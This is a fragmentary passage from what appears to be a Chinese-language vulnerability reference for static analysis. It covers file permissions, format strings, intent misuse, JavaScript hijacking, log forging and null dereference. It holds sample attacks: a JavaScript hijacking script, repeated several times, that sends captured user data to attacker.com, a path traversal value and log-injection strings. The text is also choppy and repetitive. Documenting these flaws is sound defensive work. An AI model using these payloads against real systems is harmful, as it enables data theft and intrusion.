permissions := strconv.Atoi(os.Getenv("filePermissions"));
fMode := os.FileMode(permissions)
os.chmod(filePath, fMode);
...
String permissionMask = System.getProperty("defaultFileMask");
Path filePath = userFile.toPath();
...
Set<PosixFilePermission> perms = PosixFilePermissions.fromString(permissionMask);
Files.setPosixFilePermissions(filePath, perms);
...
$rName = $_GET['publicReport'];
chmod("/home/". authenticateUser . "/public_html/" . rName,"0755");
...
publicReport
提供恶意值(例如,../../localuser/public_html/.htpasswd
),那么应用程序将允许攻击者读取指定文件。
...
$mask = $CONFIG_TXT['perms'];
chmod($filename,$mask);
...
permissions = os.getenv("filePermissions");
os.chmod(filePath, permissions);
...
...
rName = req['publicReport']
File.chmod("/home/#{authenticatedUser}/public_html/#{rName}", "0755")
...
publicReport
提供恶意值(例如,../../localuser/public_html/.htpasswd
),那么应用程序将允许攻击者读取指定文件。
...
mask = config_params['perms']
File.chmod(filename, mask)
...
services-config.xml
描述符文件会指定一个“Logging”XML 元素来描述日志记录的不同方面。它类似于以下内容:
<logging>
<target class="flex.messaging.log.ConsoleTarget" level="Debug">
<properties>
<prefix>[BlazeDS]</prefix>
<includeDate>false</includeDate>
<includeTime>false</includeTime>
<includeLevel>false</includeLevel>
<includeCategory>false</includeCategory>
</properties>
<filters>
<pattern>Endpoint.*</pattern>
<pattern>Service.*</pattern>
<pattern>Configuration</pattern>
</filters>
</target>
</logging>
target
标签可采用一个名为 level
的可选属性,用来指示日志级别。如果调试级别设置为太详细的级别,您的应用程序可能会将敏感数据写入日志文件。sprintf()
、FormatMessageW()
或 syslog()
。snprintf()
将一个命令行参数复制到缓冲区中。
int main(int argc, char **argv){
char buf[128];
...
snprintf(buf,128,argv[1]);
}
%x
)来读取堆栈中的内容,然后函数会作为即将格式化的参数使用。(在本例中,函数没有采用任何即将格式化的参数。)通过使用 %n
格式化指令,攻击者能够对堆栈进行写入,进而使 snprintf()
记下迄今为止输出的字节数,并将其传送给指定的参数(而不是直接从参数中读取数值,这是程序员最初设计的行为)。对于这种攻击,更为的复杂的形式是使用四条交错的写入来完全控制堆栈中某个指针的值。
printf("%d %d %1$d %1$d\n", 5, 9);
5 9 5 5
Example 1
中所述。syslog()
函数有时候可以这样使用:
...
syslog(LOG_ERR, cmdBuf);
...
syslog()
的第二个参数是格式字符串,因此 cmdBuf
中的任何格式化指令都会按照Example 1
中所述进行解释。syslog()
的正确使用方式:
...
syslog(LOG_ERR, "%s", cmdBuf);
...
sprintf()
、FormatMessageW()
、syslog()
、NSLog
或 NSString.stringWithFormat
示例 1:下面的代码将命令行参数作为 NSString.stringWithFormat:
中的 format string。
int main(int argc, char **argv){
char buf[128];
...
[NSString stringWithFormat:argv[1], argv[2] ];
}
%x
)来读取堆栈中的内容,然后函数会作为即将格式化的参数使用。(在本例中,函数没有采用任何即将格式化的参数。)
printf("%d %d %1$d %1$d\n", 5, 9);
5 9 5 5
Example 1
中所述。syslog()
函数有时候可以这样使用:
...
syslog(LOG_ERR, cmdBuf);
...
syslog()
的第二个参数是格式字符串,因此 cmdBuf
中的任何格式化指令都会按照Example 1
中所述进行解释。syslog()
的正确使用方式:示例 4:Apple 核心类提供了利用 format string 漏洞的有趣途径。
...
syslog(LOG_ERR, "%s", cmdBuf);
...
String.stringByAppendingFormat()
函数有时候可以这样使用:
...
NSString test = @"Sample Text.";
test = [test stringByAppendingFormat:[MyClass
formatInput:inputControl.text]];
...
stringByAppendingFormat()
的正确使用方式:
...
NSString test = @"Sample Text.";
test = [test stringByAppendingFormat:@"%@", [MyClass
formatInput:inputControl.text]];
...
strncpy()
),使用方式不正确也会引发漏洞。对内存的处理加之有关数据段大小和结构方面所存在种种错误假设,是导致大多数 buffer overflow 漏洞产生的根源。
void wrongNumberArgs(char *s, float f, int d) {
char buf[1024];
sprintf(buf, "Wrong number of %.512s");
}
strncpy()
),使用方式不正确也会引发漏洞。对内存的处理加之有关数据段大小和结构方面所存在种种错误假设,是导致大多数 buffer overflow 漏洞产生的根源。%d
格式说明符将一个浮点转换为 f
。
void ArgTypeMismatch(float f, int d, char *s, wchar *ws) {
char buf[1024];
sprintf(buf, "Wrong type of %d", f);
...
}
script
标签。
<script src="http://www.example.com/js/fancyWidget.js"></script>
www.example.com
以外的网站中,则该站点将依赖 www.example.com
来运行正确的非恶意代码。如果攻击者可以入侵 www.example.com
,则他们可以篡改 fancyWidget.js
的内容,损害站点安全。例如,他们可以将代码添加到 fancyWidget.js
中,窃取用户的机密数据。
...
String lang = Request.Form["lang"];
WebClient client = new WebClient();
client.BaseAddress = url;
NameValueCollection myQueryStringCollection = new NameValueCollection();
myQueryStringCollection.Add("q", lang);
client.QueryString = myQueryStringCollection;
Stream data = client.OpenRead(url);
...
lang
(例如 en&poll_id=1
),然后攻击者可以随意更改该 poll_id
。
...
String lang = request.getParameter("lang");
GetMethod get = new GetMethod("http://www.example.com");
get.setQueryString("lang=" + lang + "&poll_id=" + poll_id);
get.execute();
...
lang
(例如 en&poll_id=1
),然后攻击者将可以随意更改该 poll_id
。
<%
...
$id = $_GET["id"];
header("Location: http://www.host.com/election.php?poll_id=" . $id);
...
%>
name=alice
,但他们添加了额外的 name=alice&
,如果在提取第一个匹配项的服务器上使用它,那么它可能会模仿 alice
以便获取有关她的帐户的详细信息。
String arg = request.getParameter("arg");
...
Intent intent = new Intent();
...
intent.setClassName(arg);
ctx.startActivity(intent);
...
Intent
。隐式的内部意图可能会使系统遭受对内部组件的中间人攻击。Intent
使用内部组件定义的自定义操作。隐式意图可以促进从任何给定外部组件调用意图,而无需了解特定组件。将两者结合起来使应用程序能够从所需的应用程序上下文外部访问为特定内部使用指定的意图。Intent
的能力可以实现各种严重程度不等的中间人攻击,从信息泄露、拒绝服务到远程代码执行,具体取决于 Intent
指定的内部操作的能力。Intent
。
...
val imp_internal_intent_action = Intent("INTERNAL_ACTION_HERE")
startActivity(imp_internal_intent_action)
...
PendingIntent
。隐式待定意图可能会导致安全漏洞,例如拒绝服务、私人和系统信息泄漏以及权限提升。Intent
。隐式意图有助于从任何给定的外部组件调用意图,使用通用名称和筛选器来确定执行。Intent
创建为 PendingIntent
,这可能允许将 Intent
发送到在预期时间上下文之外运行的非预期组件,从而使系统容易受到拒绝服务、私人和系统信息泄露以及权限提升等攻击途径。PendingIntent
。
...
val imp_intent = Intent()
val flag_mut = PendingIntent.FLAG_MUTABLE
val pi_flagmutable_impintintent = PendingIntent.getService(
this,
0,
imp_intent,
flag_mut
)
...
PendingIntent
,其标记值设置为 FLAG_MUTABLE
。使用标记值 FLAG_MUTABLE
创建的待定意图很容易在下游设置未指定的 Intent
字段,这样会修改 Intent
的容量并使系统容易受到攻击。PendingIntent
后修改其底层 Intent
可能会使系统容易受到攻击。这主要取决于底层 Intent
的整体功能。在大多数情况下,最佳实践是通过将 PendingIntent
标记设置为 FLAG_IMMUTABLE
来防止发生潜在问题。FLAG_MUTABLE
创建的 PendingIntent
。
...
val intent_flag_mut = Intent(Intent.ACTION_GTALK_SERVICE_DISCONNECTED, Uri.EMPTY, this, DownloadService::class.java)
val flag_mut = PendingIntent.FLAG_MUTABLE
val pi_flagmutable = PendingIntent.getService(
this,
0,
intent_flag_mut,
flag_mut
)
...
Intent
启动活动、启动服务或传递广播,可使攻击者能够任意启动内部应用程序组件、控制内部组件的行为,或通过临时授权间接访问内容提供者提供的受保护数据。Intent
的 Extra 捆绑包中嵌套的任意 Intent
。Intent
,通过调用 startActivity
、startService
或 sendBroadcast
来启动组件。Intent
,并使用该 Intent
启动活动。
...
Intent nextIntent = (Intent) getIntent().getParcelableExtra("next-intent");
startActivity(nextIntent);
...
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
from django.http.response import JsonResponse
...
def handle_upload(request):
response = JsonResponse(sensitive_data, safe=False) # Sensitive data is stored in a list
return response
<script>
标签求值的有效 JavaScript 组成,因此很容易受到 JavaScript 劫持的攻击 [1]。默认情况下,这个框架使用 POST 方法提交请求,这样就很难从恶意 <script>
标签生成请求(因为 <script>
标签仅生成 GET 请求)。尽管如此,Microsoft AJAX.NET 确实提供了使用 GET 请求的机制。事实上,许多专家建议程序员使用 GET 请求,以减少浏览器缓存和改善性能。
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
<script>
标签求值的有效 JavaScript 组成,因此很容易受到 JavaScript 劫持的攻击 [1]。默认情况下,这个框架使用 POST 方法提交请求,这样就很难从恶意 <script>
标签生成请求(因为 <script>
标签仅生成 GET 请求)。尽管如此,GWT 确实提供了使用 GET 请求的机制。事实上,许多专家建议程序员使用 GET 请求,以减少浏览器缓存和改善性能。
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
chroot()
一类的操作所需要的提高了的权限。chroot()
,它必须先获取 root
权限。当受权限控制的操作完成后,程序应该马上丢弃 root
权限并且返回调用它的用户权限等级。chroot()
函数,将应用程序限制在 APP_HOME
下的 file system 的子集中,以防止攻击者通过程序访问位于其他地方的未经授权的文件。然后,代码打开一个由用户指定的文件并处理文件的内容。
...
chroot(APP_HOME);
chdir("/");
FILE* data = fopen(argv[1], "r+");
...
setuid()
进行调用,意味着应用程序仍在使用没有必要的 root
权限进行操作。任何由攻击者对应用程序实施的成功盗取都会导致发生权限扩大的攻击,因为所有的恶意操作都将以超级用户的权限执行。如果应用程序把权限等级降低到一个非 root
用户,则会显著减少很多潜在的破坏。
...
DATA log_msg TYPE bal_s_msg.
val = request->get_form_field( 'val' ).
log_msg-msgid = 'XY'.
log_msg-msgty = 'E'.
log_msg-msgno = '123'.
log_msg-msgv1 = 'VAL: '.
log_msg-msgv2 = val.
CALL FUNCTION 'BAL_LOG_MSG_ADD'
EXPORTING
I_S_MSG = log_msg
EXCEPTIONS
LOG_NOT_FOUND = 1
MSG_INCONSISTENT = 2
LOG_IS_FULL = 3
OTHERS = 4.
...
val
”提交字符串“FOO
”,则日志中会记录以下条目:
XY E 123 VAL: FOO
FOO XY E 124 VAL: BAR
”,则日志中会记录以下条目:
XY E 123 VAL: FOO XY E 124 VAL: BAR
var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var val:String = String(params["username"]);
var value:Number = parseInt(val);
if (value == Number.NaN) {
trace("Failed to parse val = " + val);
}
val
" 提交字符串 "twenty-one
",则日志中会记录以下条目:
Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
",则日志中会记录以下条目:
Failed to parse val=twenty-one
User logged out=badguy
...
string val = (string)Session["val"];
try {
int value = Int32.Parse(val);
}
catch (FormatException fe) {
log.Info("Failed to parse val= " + val);
}
...
val
”提交字符串“twenty-one
”,则日志中会记录以下条目:
INFO: Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
”,则日志中会记录以下条目:
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
long value = strtol(val, &endPtr, 10);
if (*endPtr != '\0')
syslog(LOG_INFO,"Illegal value = %s",val);
...
val
" 提交字符串 "twenty-one
",则日志中会记录以下条目:
Illegal value=twenty-one
twenty-one\n\nINFO: User logged out=evil
",则日志中会记录以下条目:
INFO: Illegal value=twenty-one
INFO: User logged out=evil
...
01 LOGAREA.
05 VALHEADER PIC X(50) VALUE 'VAL: '.
05 VAL PIC X(50).
...
EXEC CICS
WEB READ
FORMFIELD(NAME)
VALUE(VAL)
...
END-EXEC.
EXEC DLI
LOG
FROM(LOGAREA)
LENGTH(50)
END-EXEC.
...
VAL
" 提交字符串 "FOO
",则日志中会记录以下条目:
VAL: FOO
FOO VAL: BAR
",则日志中会记录以下条目:
VAL: FOO VAL: BAR
<cflog file="app_log" application="No" Thread="No"
text="Failed to parse val="#Form.val#">
val
" 提交字符串 "twenty-one
",则日志中会记录以下条目:
"Information",,"02/28/01","14:50:37",,"Failed to parse val=twenty-one"
twenty-one%0a%0a%22Information%22%2C%2C%2202/28/01%22%2C%2214:53:40%22%2C%2C%22User%20logged%20out:%20badguy%22
",则日志中会记录以下条目:
"Information",,"02/28/01","14:50:37",,"Failed to parse val=twenty-one"
"Information",,"02/28/01","14:53:40",,"User logged out: badguy"
func someHandler(w http.ResponseWriter, r *http.Request){
r.parseForm()
name := r.FormValue("name")
logout := r.FormValue("logout")
...
if (logout){
...
} else {
log.Printf("Attempt to log out: name: %s logout: %s", name, logout)
}
}
logout
提交字符串“twenty-one
”,而且他可以创建一个名为“admin
”的用户,则日志中会记录以下条目:
Attempt to log out: name: admin logout: twenty-one
admin+logout:+1+++++++++++++++++++++++
",则日志中将记录以下条目:
Attempt to log out: name: admin logout: 1 logout: twenty-one
...
String val = request.getParameter("val");
try {
int value = Integer.parseInt(val);
}
catch (NumberFormatException nfe) {
log.info("Failed to parse val = " + val);
}
...
val
”提交字符串“twenty-one
”,则日志中会记录以下条目:
INFO: Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
”,则日志中会记录以下条目:
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
Example 1
以适应 Android 平台。
...
String val = this.getIntent().getExtras().getString("val");
try {
int value = Integer.parseInt();
}
catch (NumberFormatException nfe) {
Log.e(TAG, "Failed to parse val = " + val);
}
...
var cp = require('child_process');
var http = require('http');
var url = require('url');
function listener(request, response){
var val = url.parse(request.url, true)['query']['val'];
if (isNaN(val)){
console.log("INFO: Failed to parse val = " + val);
}
...
}
...
http.createServer(listener).listen(8080);
...
val
”提交字符串“twenty-one
”,则日志中会记录以下条目:
INFO: Failed to parse val = twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
”,则日志中会记录以下条目:
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
long value = strtol(val, &endPtr, 10);
if (*endPtr != '\0')
NSLog("Illegal value = %s",val);
...
val
" 提交字符串 "twenty-one
",则日志中会记录以下条目:
INFO: Illegal value=twenty-one
twenty-one\n\nINFO: User logged out=evil
",则日志中会记录以下条目:
INFO: Illegal value=twenty-one
INFO: User logged out=evil
<?php
$name =$_GET['name'];
...
$logout =$_GET['logout'];
if(is_numeric($logout))
{
...
}
else
{
trigger_error("Attempt to log out: name: $name logout: $val");
}
?>
logout
提交字符串“twenty-one
”,而且他可以创建一个名为“admin
”的用户,则日志中会记录以下条目:
PHP Notice: Attempt to log out: name: admin logout: twenty-one
admin+logout:+1+++++++++++++++++++++++
",则日志中将记录以下条目:
PHP Notice: Attempt to log out: name: admin logout: 1 logout: twenty-one
name = req.field('name')
...
logout = req.field('logout')
if (logout):
...
else:
logger.error("Attempt to log out: name: %s logout: %s" % (name,logout))
logout
提交字符串“twenty-one
”,而且他可以创建一个名为“admin
”的用户,则日志中会记录以下条目:
Attempt to log out: name: admin logout: twenty-one
admin+logout:+1+++++++++++++++++++++++
",则日志中将记录以下条目:
Attempt to log out: name: admin logout: 1 logout: twenty-one
...
val = req['val']
unless val.respond_to?(:to_int)
logger.info("Failed to parse val")
logger.info(val)
end
...
val
”提交字符串“twenty-one
”,则日志中会记录以下条目:
INFO: Failed to parse val
INFO: twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
”,则日志中会记录以下条目:
INFO: Failed to parse val
INFO: twenty-one
INFO: User logged out=badguy
...
let num = Int(param)
if num == nil {
NSLog("Illegal value = %@", param)
}
...
val
”提交字符串“twenty-one
”,则日志中会记录以下条目:
INFO: Illegal value = twenty-one
twenty-one\n\nINFO: User logged out=evil
”,则日志中会记录以下条目:
INFO: Illegal value=twenty-one
INFO: User logged out=evil
...
Dim Val As Variant
Dim Value As Integer
Set Val = Request.Form("val")
If IsNumeric(Val) Then
Set Value = Val
Else
App.EventLog "Failed to parse val=" & Val, 1
End If
...
val
”提交字符串“twenty-one
”,则日志中会记录以下条目:
Failed to parse val=twenty-one
twenty-one%0a%0a+User+logged+out%3dbadguy
”,则日志中会记录以下条目:
Failed to parse val=twenty-one
User logged out=badguy
null
。Equals()
之前检查 Item
属性返回的字符串是否为 null
,从而可能会导致 null
dereference。
string itemName = request.Item(ITEM_NAME);
if (itemName.Equals(IMPORTANT_ITEM)) {
...
}
...
null
也就无关紧要了。”null
。malloc()
返回的指针之前,并没有检查内存是否分配成功。
buf = (char*) malloc(req_size);
strncpy(buf, xfer, req_size);
malloc()
的调用失败是不是因为 req_size
太大,还是因为在同一时刻处理的请求太多。或者是由于已累计超时的 memory leak 引起的。如果不对错误进行处理,就不会知道是什么原因。null
。compareTo()
之前,不会检查 getParameter()
返回的字符串是否为 null
,从而可能会造成 null
dereference。例 2:。以下代码显示了这样一个例子,一个系统属性被设置为了
String itemName = request.getParameter(ITEM_NAME);
if (itemName.compareTo(IMPORTANT_ITEM)) {
...
}
...
null
,随后间接引用它的程序员错误地认为该属性值是已定义的。
System.clearProperty("os.name");
...
String os = System.getProperty("os.name");
if (os.equalsIgnoreCase("Windows 95") )
System.out.println("Not supported");
null
也就无关紧要了。”